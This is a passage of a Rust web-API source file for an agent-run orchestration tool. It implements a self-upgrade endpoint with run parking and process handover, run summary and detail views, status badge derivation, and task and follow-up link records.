2567        let reading = daemon::read_status(&ui.home);
2568        let foreign = Foreign::of(reading.as_ref());
2569        if body.running {
2570            ui.start_loop(foreign)?;
2571        } else {
2572            ui.stop_loop(foreign, body.park)?;
2573        }
2574        Ok(Json(ui.loop_view(reading)))
2575    })
2576    .await
2577}
2578
2579/// What `POST /api/upgrade` set in motion.
2580#[derive(Debug, Serialize)]
2581struct UpgradeView {
2582    /// The version this process is running.
2583    from: String,
2584    /// The release it is replacing itself with, when there is one.
2585    to: Option<String>,
2586    /// A run was parked first, and this is its id.
2587    parked: Option<String>,
2588    /// What the operator should expect to happen next.
2589    detail: String,
2590}
2591
2592/// The stage of an upgrade that is still moving, if the record says so.
2593/// Mirrors `UPGRADE_BUSY_STAGES` in `assets/ui/app.js`.
2594fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
2595    progress.filter(|p| !p.stage.terminal())
2596}
2597
2598/// Retry timing extracted only from kaishin's known rate-limit diagnostics.
2599/// Unknown diagnostics retain their complete message without guessing a delay.
2600fn upgrade_retry_after(message: &str) -> Option<u64> {
2601    if !message.contains("GitHub") || !message.contains("rate limit") {
2602        return None;
2603    }
2604    if message.contains("retry now") {
2605        return Some(0);
2606    }
2607    let duration = message
2608        .split_once("resets in ")
2609        .or_else(|| message.split_once("retry after "))?
2610        .1
2611        .split_once(')')?
2612        .0;
2613    let mut rest = duration.trim();
2614    if rest.is_empty() {
2615        return None;
2616    }
2617    let mut total = 0u64;
2618    while !rest.is_empty() {
2619        let n = rest.find(|c: char| !c.is_ascii_digit())?;
2620        let amount: u64 = rest[..n].parse().ok()?;
2621        let scale = match rest[n..].chars().next()? {
2622            's' => 1,
2623            'm' => 60,
2624            'h' => 3600,
2625            'd' => 86400,
2626            _ => return None,
2627        };
2628        total = total.checked_add(amount.checked_mul(scale)?)?;
2629        rest = rest[n + 1..].trim_start();
2630    }
2631    Some(total)
2632}
2633
2634#[derive(Debug, Clone, Serialize)]
2635struct UpgradeRequestFailure {
2636    occurred_at: String,
2637    error: String,
2638    retry_after_secs: Option<u64>,
2639    /// Unix seconds; independent of the phone's polling cadence.
2640    retry_at: Option<u64>,
2641}
2642
2643impl UpgradeRequestFailure {
2644    fn new(error: String) -> Self {
2645        let retry_after_secs = upgrade_retry_after(&error);
2646        let now = std::time::SystemTime::now()
2647            .duration_since(std::time::UNIX_EPOCH)
2648            .unwrap_or_default()
2649            .as_secs();
2650        Self {
2651            occurred_at: jiff::Timestamp::now().to_string(),
2652            error,
2653            retry_after_secs,
2654            retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
2655        }
2656    }
2657}
2658
2659/// `POST /api/upgrade` - replace this binary with the newest release and come
2660/// back on it.
2661///
2662/// The one thing the deck could not do for itself. Every fix landed today
2663/// either waited for a competition to end or went in with the deck stopped,
2664/// because `cargo install` cannot overwrite a running executable on Windows.
2665/// `kaishin` can: `self_replace` **renames** the running image aside and puts
2666/// the new one in its place, so the swap itself needs no downtime. Only the
2667/// restart does, and the order is the whole design:
2668///
2669/// 1. **Park.** A run in flight stops at its next node boundary and stays
2670///    resumable, so this costs at most the node in progress rather than the
2671///    competition. Without it the honest choices were waiting an hour or
2672///    discarding paid agent work.
2673/// 2. **Replace.** The new binary goes into place while this one still runs.
2674/// 3. **Hand over.** [`serve`] drops the listener, *then* spawns the
2675///    successor - see [`spawn_successor`] for what happens in the other
2676///    order.
2677/// 4. **Resume.** The next loop carries the parked run on rather than
2678///    competing again; see `daemon::attempt`.
2679///
2680/// Answers **202**: the reply has to reach the phone while this process can
2681/// still send one, and the phone learns the deck is back by reconnecting.
2682async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
2683    let reading = daemon::read_status(&ui.home);
2684    if let Some(other) = Foreign::of(reading.as_ref()) {
2685        return ApiError::conflict(format!(
2686            "the loop belongs to {}, so replacing this binary would leave \
2687             that process running an old one against the same queue. Upgrade \
2688             where it was started.",
2689            other.who()
2690        ))
2691        .into_response();
2692    }
2693
2694    // A second upgrade while one is moving would replace the binary and
2695    // signal the handover again after `serve` already consumed the first
2696    // signal, leaving the process in `replaced` forever. Try-lock rather than
2697    // wait: a phone connection must not hang behind a GitHub round trip.
2698    let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
2699        return ApiError::conflict("another request is already preparing an upgrade")
2700            .into_response();
2701    };
2702    // Hold the same gate through recording/clearing the request outcome, so
2703    // an older response cannot overwrite a retry's result.
2704    finish_upgrade_request(&ui, upgrade_prepare(&ui).await)
2705}
2706
2707fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
2708    match result {
2709        Ok(out) => {
2710            *ui.upgrade_request_error
2711                .lock()
2712                .unwrap_or_else(PoisonError::into_inner) = None;
2713            out.into_response()
2714        }
2715        Err(error) if error.status != StatusCode::CONFLICT => {
2716            let failure = UpgradeRequestFailure::new(error.message);
2717            *ui.upgrade_request_error
2718                .lock()
2719                .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
2720            let mut response = (error.status, Json(&failure)).into_response();
2721            if let Some(value) = failure
2722                .retry_after_secs
2723                .and_then(|secs| secs.to_string().parse().ok())
2724            {
2725                response.headers_mut().insert("retry-after", value);
2726            }
2727            response
2728        }
2729        Err(error) => error.into_response(),
2730    }
2731}
2732
2733async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2734    if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
2735        return Err(ApiError::conflict(
2736            "an upgrade is already in progress (this process started one and it \
2737             has not finished or failed yet)",
2738        ));
2739    }
2740    let recorded = updater::read_progress(&ui.home);
2741    if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
2742        return Err(ApiError::conflict(format!(
2743            "an upgrade is already in progress (stage: {}, {} -> {}). If it \
2744             stays stuck, restart the deck; on start it settles a stale record.",
2745            p.stage.as_str(),
2746            p.from,
2747            p.to.as_deref().unwrap_or("?"),
2748        )));
2749    }
2750
2751    // The same kill switch the background check honours (`disabled_by_env`),
2752    // checked before anything else for the same reason it is read before the
2753    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
2754    // contact GitHub from this process", and a button press must not
2755    // override that any more than a broken `magi.toml` may.
2756    if crate::updater::disabled_by_env() {
2757        return Ok((
2758            StatusCode::OK,
2759            Json(UpgradeView {
2760                from: env!("CARGO_PKG_VERSION").to_owned(),
2761                to: None,
2762                parked: None,
2763                detail: format!(
2764                    "Automatic updates are disabled by {}. Nothing was parked \
2765                     and nothing restarted.",
2766                    crate::updater::NO_AUTOUPDATE_ENV
2767                ),
2768            }),
2769        ));
2770    }
2771
2772    // Asked before anything is disturbed. Restarting when there is nothing
2773    // to install is not a harmless no-op: it parks the run in flight and
2774    // drops every connection to pay for an upgrade that did not happen. A
2775    // probe against a deck already on the newest build did exactly that.
2776    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2777    let from = env!("CARGO_PKG_VERSION").to_owned();
2778    let latest = match crate::updater::Checker::new(&cfg.update) {
2779        Some(checker) => checker.newer_release().await,
2780        None => Ok(None),
2781    };
2782    upgrade_checked(ui, from, latest)
2783}
2784
2785fn upgrade_checked(
2786    ui: &Arc<Ui>,
2787    from: String,
2788    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
2789) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2790    let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
2791    let Some(latest) = latest else {
2792        return Ok((
2793            StatusCode::OK,
2794            Json(UpgradeView {
2795                from,
2796                to: None,
2797                parked: None,
2798                detail: "Already on the newest release. Nothing was parked \
2799                         and nothing restarted."
2800                    .to_owned(),
2801            }),
2802        ));
2803    };
2804
2805    // Parked before anything is replaced: a successor that came up while a
2806    // run was mid-node would find a run nobody is driving.
2807    let parked = ui.park_for_upgrade(&from, Some(latest.tag_name.as_str()))?;
2808    let detail = match &parked {
2809        // Honest about the wait. A park takes effect at the *next* node
2810        // boundary, so a run mid-implement finishes that wave first - up to
2811        // `timeout_implement`, an hour by default. Saying "restarting now"
2812        // would make the deck look wedged for the rest of it.
2813        Some(run) => format!(
2814            "Run {} is parking at its next step, which can take as long as \
2815             the step it is on - up to an hour for an implement wave. The \
2816             deck replaces itself once it parks, comes back, and the loop \
2817             carries that run on from where it stopped. Nothing is lost if \
2818             you close this.",
2819            crate::run::short_of(run)
2820        ),
2821        None => "The deck replaces itself and comes back. Nothing was in \
2822                 flight to park."
2823            .to_owned(),
2824    };
2825
2826    // Recorded before the spawn, not inside it: the phone's next `/api/health`
2827    // poll must see a `Downloading` stage immediately, not whenever the
2828    // spawned task happens to get scheduled.
2829    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2830    progress.parked_run = parked.clone();
2831    // A failed write is logged, not returned: the loop is already parked
2832    // above, and bailing out here would leave it parked with no upgrade
2833    // spawned to hand over or resume it.
2834    updater::write_progress_logged(&ui.home, &progress);
2835
2836    let home = ui.home.clone();
2837    let looping = ui.looping();
2838    ui.upgrade_spawned
2839        .store(true, std::sync::atomic::Ordering::SeqCst);
2840    let spawned = Arc::clone(&ui.upgrade_spawned);
2841    tokio::spawn(async move {
2842        if let Err(e) = upgrade_and_restart(home.clone()).await {
2843            tracing::error!("the upgrade did not complete: {e:#}");
2844            lock_or_recover(&looping).resume_after_handover = false;
2845            // A failure of this attempt says nothing about a handover an
2846            // earlier request already has in flight; checked and written
2847            // under the progress lock.
2848            let _ = updater::fail_progress(&home, &format!("{e:#}"));
2849            // Released last: until the cleanup above is done, a retry must
2850            // not be able to park and record state this would then undo.
2851            spawned.store(false, std::sync::atomic::Ordering::SeqCst);
2852        }
2853    });
2854
2855    Ok((
2856        StatusCode::ACCEPTED,
2857        Json(UpgradeView {
2858            from,
2859            to: Some(latest.tag_name),
2860            parked,
2861            detail,
2862        }),
2863    ))
2864}
2865
2866/// Replace the binary, then ask [`serve`] to hand the address over.
2867///
2868/// Separated from the handler so the 202 is already on its way, and separated
2869/// from the spawn so the successor starts only after the listener is dropped.
2870async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2871    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
2872    // hang the upgrade for as long as the process lives.
2873    crate::updater::run_self_update(true, false, true).await?;
2874    updater::log_step(&home, "binary replaced - recording the replaced stage");
2875    if let Some(mut progress) = updater::read_progress(&home) {
2876        progress.advance(updater::Stage::Replaced);
2877        updater::write_progress_logged(&home, &progress);
2878    }
2879    updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2880    HANDOVER.notify_one();
2881    updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2882    Ok(())
2883}
2884
2885/// One row in the run list.
2886///
2887/// The list route returns this rather than whole `RunState`s: the summary of a
2888/// run is a few hundred bytes and the state is megabytes, and the difference
2889/// is what makes the history usable on a mobile link.
2890#[derive(Debug, Serialize)]
2891struct RunSummary {
2892    id: String,
2893    short: String,
2894    status: String,
2895    done: bool,
2896    instruction: String,
2897    title: String,
2898    repo: String,
2899    repo_name: String,
2900    created_at: String,
2901    updated_at: String,
2902    candidates: usize,
2903    viable: usize,
2904    judges: usize,
2905    winner: Option<char>,
2906    reviews: usize,
2907    quota_losses: usize,
2908    event: Option<String>,
2909    /// The later attempt at the same task that replaced this one, if any.
2910    ///
2911    /// Two cards with one title is otherwise unreadable: this is what lets
2912    /// the deck say "superseded by 4043" on the older of the pair.
2913    superseded_by: Option<String>,
2914    /// Blocked on a question nobody has answered.
2915    ///
2916    /// Derived from the question store rather than stored on the run: an agent
2917    /// calling `magi ask` blocks mid-node, and writing a status from there
2918    /// would race the graph's own save of `run.json` and be overwritten at the
2919    /// next node boundary. Asking the store is always true and never races.
2920    waiting: bool,
2921    /// Whether the process recorded as driving this run can still be proven
2922    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
2923    /// rather than presenting its last graph node as still in flight.
2924    live: crate::run::Liveness,
2925    /// The land loop's last look at the pull request, when there is one.
2926    pr: Option<crate::run::PrRecord>,
2927    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
2928    /// design — never picked up by the PR-polling merge watcher, unlike an
2929    /// ordinary `Ready` that may still be a live landing candidate. See
2930    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
2931    /// re-deriving the same check from `status` and `merge.mode` itself.
2932    unmerged_by_design: bool,
2933    /// Derived presentation status matching [`RunDetailView::display_status`].
2934    /// Distinguishes parked runs, crashes, and waiting states from raw node statuses.
2935    #[serde(default)]
2936    display_status: String,
2937    /// What the status badge shows: `display_status`, or `superseded` for a
2938    /// non-live run a later attempt replaced. See [`run_badge_status`].
2939    #[serde(default)]
2940    badge_status: String,
2941    /// Who started the run, as the one label every surface shares; the
2942    /// "origin unknown" wording when the record predates origins.
2943    origin_label: String,
2944}
2945
2946impl RunSummary {
2947    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2948        Self {
2949            id: state.id.clone(),
2950            short: state.short().to_owned(),
2951            status: status_word(state.status),
2952            done: state.status.done(),
2953            unmerged_by_design: state.unmerged_by_design(),
2954            display_status: run_display_status(state, waiting, live),
2955            badge_status: run_display_status(state, waiting, live),
2956            instruction: state.instruction.clone(),
2957            title: title_from(&state.instruction, TITLE_MAX),
2958            repo: state.repo.display().to_string(),
2959            repo_name: state
2960                .repo
2961                .file_name()
2962                .map(|n| n.to_string_lossy().into_owned())
2963                .unwrap_or_default(),
2964            created_at: state.created_at.to_string(),
2965            updated_at: state.updated_at.to_string(),
2966            candidates: state.candidates.len(),
2967            viable: state.viable().len(),
2968            judges: state.config.graph.judges,
2969            winner: state.winner().map(|c| c.label),
2970            reviews: state.reviews.len(),
2971            quota_losses: state.quota.len(),
2972            event: state.events.last().map(|e| e.message.clone()),
2973            waiting,
2974            live,
2975            // Filled in by the list route, which is the only place that can
2976            // see a task's other attempts.
2977            superseded_by: None,
2978            pr: state.pr.clone(),
2979            origin_label: crate::run::origin_label(state.origin.as_ref()),
2980        }
2981    }
2982}
2983
2984/// `RunStatus` as the wire spells it. Every variant is one word, so this is
2985/// the same string `serde` writes for the status inside a full run.
2986fn status_word(status: RunStatus) -> String {
2987    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
2988    // was a third way of naming the same statuses, and one that changed
2989    // silently with a derive.
2990    status.as_str().to_owned()
2991}
2992
2993/// The presentation status for a run, unified across summaries and details.
2994///
2995/// Distinguishes runs that stopped deliberately at a node boundary (`"parked"`)
2996/// from genuine driver crashes (`"stale"`), while preserving `"waiting"` for
2997/// runs awaiting operator answers.
2998fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
2999    if waiting {
3000        return "waiting".to_owned();
3001    }
3002    if state.unmerged_by_design() {
3003        return "unmerged".to_owned();
3004    }
3005    if !state.status.done() && live == crate::run::Liveness::Dead {
3006        // The driver claim clears this flag before saving another event.
3007        // A previous park event can therefore outlive a resumed driver.
3008        if state.parked {
3009            return "parked".to_owned();
3010        }
3011        return "stale".to_owned();
3012    }
3013    status_word(state.status)
3014}
3015
3016/// The word a run's status badge shows: `display_status`, except that a
3017/// non-terminal run which is not provably live and was replaced by a later
3018/// attempt reads `superseded`, and a confirmed-dead one reads `stale`.
3019///
3020/// Same judgement `magi show` uses (`RunState::liveness`, the task's
3021/// successor); a live driver, `Unknown` liveness and terminal runs keep their
3022/// own word, so superseded never claims more than "not live".
3023fn run_badge_status(
3024    state: &RunState,
3025    display_status: &str,
3026    live: crate::run::Liveness,
3027    superseded: bool,
3028) -> String {
3029    if state.status.done() || live == crate::run::Liveness::Live {
3030        return display_status.to_owned();
3031    }
3032    if superseded {
3033        return "superseded".to_owned();
3034    }
3035    // A dead run's `display_status` is `stale`, except that a deliberate park
3036    // and an open owner question keep their own word: neither is a crash, and
3037    // the question still needs an answer. Anything else dead reads `stale`.
3038    if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
3039        return "stale".to_owned();
3040    }
3041    display_status.to_owned()
3042}
3043
3044/// `?limit=`, clamped by the handler.
3045#[derive(Debug, Deserialize)]
3046struct ListQuery {
3047    #[serde(default)]
3048    limit: Option<usize>,
3049    /// Exact ids only; an empty value requests no rows (except queue blockers).
3050    ids: Option<String>,
3051}
3052
3053impl ListQuery {
3054    fn contains(&self, id: &str) -> bool {
3055        self.ids
3056            .as_ref()
3057            .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
3058    }
3059}
3060
3061async fn runs_list(
3062    State(ui): State<Arc<Ui>>,
3063    Query(q): Query<ListQuery>,
3064) -> ApiResult<Json<Vec<RunSummary>>> {
3065    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
3066    blocking(move || {
3067        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3068        let states = run_ids(&ui.runs)
3069            .into_iter()
3070            // A run whose state cannot be read is skipped, not fatal: a run
3071            // killed mid-write must not blank the history of every other one.
3072            // The detail route still explains it, which is where an operator
3073            // asking "what happened to that run" ends up.
3074            .filter_map(|id| read_run(&ui.runs, &id).ok())
3075            .take(limit)
3076            .filter(|run| q.contains(&run.id));
3077        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3078        let summaries = summarize(
3079            states,
3080            &open_runs,
3081            &claimed,
3082            &superseded,
3083            |p| probe.borrow_mut().status(p),
3084            |p| probe.borrow_mut().started_at(p),
3085        );
3086        Ok(Json(summaries))
3087    })
3088    .await
3089}
3090
3091/// Everything the per-run rows share, read once: runs with an open question,
3092/// runs a live daemon claims, and the superseded map. Asking per run re-read
3093/// every question file and the daemon status file for each of hundreds of
3094/// runs, and spawned a process probe per run on Windows.
3095fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
3096    let open_runs: HashSet<String> = ui
3097        .questions
3098        .list()
3099        .into_iter()
3100        .filter(|q| q.status.open())
3101        .map(|q| q.run)
3102        .collect();
3103    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3104        .into_iter()
3105        .map(|c| c.run)
3106        .collect();
3107    (open_runs, claimed, ui.queue.superseded())
3108}
3109
3110/// The rows of the run list, given everything that is shared between them.
3111///
3112/// Pure over its inputs so a test can count how often the process queries are
3113/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
3114/// takes, called at most once per run.
3115fn summarize<I, S, D>(
3116    states: I,
3117    open_runs: &HashSet<String>,
3118    claimed: &HashSet<String>,
3119    superseded: &HashMap<String, String>,
3120    mut status_q: S,
3121    mut identity_q: D,
3122) -> Vec<RunSummary>
3123where
3124    I: IntoIterator<Item = RunState>,
3125    S: FnMut(u32) -> Option<bool>,
3126    D: FnMut(u32) -> Option<String>,
3127{
3128    states
3129        .into_iter()
3130        .map(|state| {
3131            let waiting = open_runs.contains(&state.id);
3132            let live =
3133                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
3134            let mut row = RunSummary::of(&state, waiting, live);
3135            row.superseded_by = state
3136                .pr_taken_over_by
3137                .as_ref()
3138                .or_else(|| superseded.get(&state.id))
3139                .map(String::as_str)
3140                .map(crate::run::short_of)
3141                .map(str::to_owned);
3142            row.badge_status = run_badge_status(
3143                &state,
3144                &row.display_status,
3145                live,
3146                row.superseded_by.is_some(),
3147            );
3148            row
3149        })
3150        .collect()
3151}
3152
3153/// A run as the detail route hands it to the phone.
3154///
3155/// The whole state, flattened, plus `instruction_md`: the Task panel renders
3156/// the instruction as markdown, and the raw `instruction` field this struct
3157/// still carries (unchanged) is what a client wanting the exact bytes reads
3158/// instead.
3159#[derive(Debug, Serialize)]
3160struct RunDetailView {
3161    stop_reason: Option<String>,
3162    #[serde(flatten)]
3163    state: RunState,
3164    instruction_md: Vec<md::Node>,
3165    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
3166    /// mirror the records they come from, index for index; the raw strings
3167    /// stay in `state` and decide whether a block is shown at all.
3168    #[serde(flatten)]
3169    prose_md: RunProseMd,
3170    /// Whether a process is actually still driving this run: `"live"`,
3171    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
3172    ///
3173    /// `state.active` (flattened in above) is only ever cleared by the
3174    /// process that populated it; a killed one leaves its last wave's
3175    /// entries behind. Carrying this alongside is what lets the phone rail
3176    /// tell "this seat is still answering" from "this seat was still
3177    /// answering when whatever was driving this run died" without a second
3178    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
3179    /// proof of either. A string rather than a bool on purpose: a daemon
3180    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
3181    /// and neither proven is `"unknown"` — folding that third case into
3182    /// either end of a bool is exactly the wrong call for a phone screen an
3183    /// operator uses to decide whether to wait or to act.
3184    live: crate::run::Liveness,
3185    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
3186    /// alongside the flattened `state` rather than inside it, since
3187    /// `RunState` has no business knowing which of its own methods a caller
3188    /// wants serialized.
3189    unmerged_by_design: bool,
3190    /// Same field and meaning as [`RunSummary::waiting`].
3191    #[serde(default)]
3192    waiting: bool,
3193    /// Same derived presentation status as [`RunSummary::display_status`].
3194    #[serde(default)]
3195    display_status: String,
3196    /// Same field and meaning as [`RunSummary::badge_status`].
3197    #[serde(default)]
3198    badge_status: String,
3199    /// Same field and meaning as [`RunSummary::done`]: whether the status is
3200    /// terminal. The client's `landView` keys on it, and the flattened state
3201    /// has no such field, so without it a finished run's stale `open` PR
3202    /// would be painted as live on the detail page.
3203    done: bool,
3204    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
3205    /// route fills it from [`Queue::superseded`], the detail route from
3206    /// [`Queue::superseded_by`], and both read the same underlying task
3207    /// order. Without this the detail page could only ever show a red
3208    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
3209    /// with nothing anywhere saying so — an operator opening it had no way
3210    /// to tell "this is done elsewhere" from "this still needs a retry".
3211    superseded_by: Option<String>,
3212    /// The task's current attempt, when this run is an older one — resolved
3213    /// from [`Queue::latest_attempt`] and this run's own state, not left for
3214    /// the client to derive.
3215    ///
3216    /// Three things a client cannot safely do on its own drove this onto the
3217    /// server: it has to name the chain's *current head*, not just the next
3218    /// attempt (`superseded_by` above), because an intermediate retry in a
3219    /// longer chain can itself still be unresolved; it has to resolve to a
3220    /// real id rather than a short id a client would have to guess a full id
3221    /// from, which is ambiguous the moment two runs share a suffix; and it
3222    /// has to read that head's own status directly, because whether a run
3223    /// list a client happens to have cached even contains that attempt
3224    /// depends on a page limit this route knows nothing about.
3225    latest_attempt: Option<LatestAttempt>,
3226    /// The queue task this run belongs to, so the detail page can link back
3227    /// to the task's own page. `None` for a run nobody queued (`magi run`).
3228    task: Option<TaskRef>,
3229    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
3230    /// run recorded before origins existed. `origin` itself (flattened in
3231    /// with `state`) is `null` in that case.
3232    origin_label: String,
3233    /// Each recorded pass over this run, with the cause it stopped for. Empty
3234    /// for a run from before passes were kept: its earlier passes are unknown.
3235    pass_views: Vec<PassView>,
3236}
3237
3238/// A task named from a run's detail page.
3239#[derive(Debug, Serialize)]
3240struct TaskRef {
3241    id: String,
3242    short: String,
3243    title: String,
3244    /// [`Source::label`], e.g. `chat@a1b2`.
3245    source_label: String,
3246    /// Where the task came from, when that place has a page; see [`source_link`].
3247    source_link: Option<SourceLink>,
3248    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
3249    status: &'static str,
3250    attempts: usize,
3251    max_attempts: usize,
3252    /// This run is the last entry of the task's run list.
3253    is_latest: bool,
3254    /// The task's newest run, when it is not this one.
3255    latest: Option<RunBrief>,
3256    /// The run that finished a `done` task (merged, or already in the base).
3257    finished_by: Option<RunBrief>,
3258    /// The task is `done` but no run on record finished it: closed by hand.
3259    closed_by_hand: bool,
3260}
3261
3262/// The page that filed a task, as the UI links to it.
3263#[derive(Debug, PartialEq, Eq, Serialize)]
3264struct SourceLink {
3265    /// `chat` (a conversation) or `run` (a run's node).
3266    kind: &'static str,
3267    /// The full id, never the short one in the label.
3268    id: String,
3269    /// The hash route that opens it.
3270    href: String,
3271}
3272
3273/// Percent-encode everything outside the URL-unreserved set.
3274fn encode_segment(raw: &str) -> String {
3275    let mut out = String::with_capacity(raw.len());
3276    for b in raw.bytes() {
3277        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3278            out.push(b as char);
3279        } else {
3280            out.push_str(&format!("%{b:02X}"));
3281        }
3282    }
3283    out
3284}
3285
3286/// The one place that decides where a task's source links to. A chat
3287/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
3288/// a person or an imported issue has no page, so no link.
3289fn source_link(source: &Source) -> Option<SourceLink> {
3290    let Source::Agent { run, node } = source else {
3291        return None;
3292    };
3293    let (kind, route) = if node == crate::queue::CHAT_NODE {
3294        ("chat", "chat")
3295    } else {
3296        ("run", "runs")
3297    };
3298    Some(SourceLink {
3299        kind,
3300        id: run.clone(),
3301        href: format!("#/{route}/{}", encode_segment(run)),
3302    })
3303}
3304
3305/// The parent task of a follow-up, when its file can still be read.
3306#[derive(Debug, Serialize, PartialEq)]
3307struct FollowUpParent {
3308    id: String,
3309    short: String,
3310    title: String,
3311    /// The parent's own status (`TaskStatus::as_str`).
3312    status: &'static str,
3313    href: String,
3314}
3315
3316/// The merged run a follow-up was filed from.
3317#[derive(Debug, Serialize, PartialEq)]
3318struct FollowUpRun {
3319    id: String,
3320    short: String,
3321    /// `None` when the run's record cannot be read.
3322    status: Option<&'static str>,
3323    /// `None` unless the record could be read: never a dead link.
3324    href: Option<String>,
3325}
3326
3327/// Where a follow-up task came from, resolved once per task page so the flow
3328/// chart and the detail block cannot disagree. See [`followup_origin`].
3329#[derive(Debug, Serialize, PartialEq)]
3330struct FollowUpOrigin {
3331    /// Present only when `origin_task` is set and that task still exists.
3332    parent: Option<FollowUpParent>,
3333    run: FollowUpRun,
3334    /// The merged pull request, verbatim. Not an href: the client passes it
3335    /// through `forgeUrl()` and renders text when that refuses it (the one
3336    /// exception to "the href rule is Rust's alone", since a forge URL is
3337    /// data from a record, not a route).
3338    pr: String,
3339    findings: Vec<String>,
3340    generation: u32,
3341}
3342
3343/// The one place that decides what a follow-up links to. A parent that cannot
3344/// be read (gone, or an id that names nothing) is `None`, never an error.
3345fn followup_origin(
3346    fu: &crate::queue::FollowUp,
3347    task: impl Fn(&str) -> Option<Task>,
3348    run: impl Fn(&str) -> Option<RunState>,
3349) -> FollowUpOrigin {
3350    let parent = fu
3351        .origin_task
3352        .as_deref()
3353        .and_then(task)
3354        .map(|t| FollowUpParent {
3355            short: t.short().to_owned(),
3356            href: format!("#/tasks/{}", encode_segment(&t.id)),
3357            status: t.status.as_str(),
3358            title: t.title,
3359            id: t.id,
3360        });
3361    let state = run(&fu.run);
3362    FollowUpOrigin {
3363        parent,
3364        run: FollowUpRun {
3365            short: run::short_of(&fu.run).to_owned(),
3366            status: state.as_ref().map(|s| s.status.as_str()),
3367            href: state
3368                .is_some()
3369                .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
3370            id: fu.run.clone(),
3371        },
3372        pr: fu.pr.clone(),
3373        findings: fu.findings.clone(),
3374        generation: fu.generation,
3375    }
3376}
3377
3378/// Another run of the same task, as named from a run's detail page.
3379#[derive(Debug, Serialize)]
3380struct RunBrief {
3381    id: String,
3382    short: String,
3383    /// `None` when the run's record cannot be read.
3384    status: Option<&'static str>,
3385    /// The task-page wording for how that pass ended.
3386    outcome: String,
3387    /// See [`TaskRunView::badge`]; always `None` here (no liveness at hand).
3388    badge: Option<String>,
3389}
3390
3391/// The task's overall outcome as seen from `this_run`'s page, classified with
3392/// the same exits the task page's flowchart uses.
3393fn task_outcome(
3394    task: &Task,
3395    this_run: &str,
3396    max_attempts: usize,
3397    read: impl Fn(&str) -> Option<RunState>,
3398) -> TaskRef {
3399    let max_attempts = task.effective_attempt_limit(max_attempts);
3400    let history = task_history(task, read);
3401    let brief = |h: &TaskRunView| RunBrief {
3402        id: h.id.clone(),
3403        short: h.short.clone(),
3404        status: h.status,
3405        outcome: h.exit.edge_label(h.status),
3406        badge: h.badge.clone(),
3407    };
3408    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3409    let latest = if is_latest {
3410        None
3411    } else {
3412        history.last().map(brief)
3413    };
3414    let done = task.status == TaskStatus::Done;
3415    let finished_by = done
3416        .then(|| {
3417            history
3418                .iter()
3419                .rev()
3420                .find(|h| {
3421                    matches!(
3422                        h.exit,
3423                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3424                    )
3425                })
3426                .map(brief)
3427        })
3428        .flatten();
3429    TaskRef {
3430        short: task.short().to_owned(),
3431        title: task.title.clone(),
3432        id: task.id.clone(),
3433        source_label: task.source.label(),
3434        source_link: source_link(&task.source),
3435        status: task.status.as_str(),
3436        attempts: task.attempts,
3437        max_attempts,
3438        is_latest,
3439        latest,
3440        closed_by_hand: done && finished_by.is_none(),
3441        finished_by,
3442    }
3443}
3444
3445/// The task's current attempt, as seen from an older one's detail page.
3446#[derive(Debug, Serialize)]
3447struct LatestAttempt {
3448    id: String,
3449    short: String,
3450    /// Whether this attempt itself settled with a result nobody needs to
3451    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
3452    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
3453    /// unconfirmed claim that no change was needed, which is exactly why it
3454    /// settles the task through `Held` rather than `Done` and still waits on
3455    /// a human to check the evidence; showing an older run as "finished
3456    /// elsewhere" on the strength of an unverified claim would bury the
3457    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
3458    /// in-flight status are excluded because they are exactly the
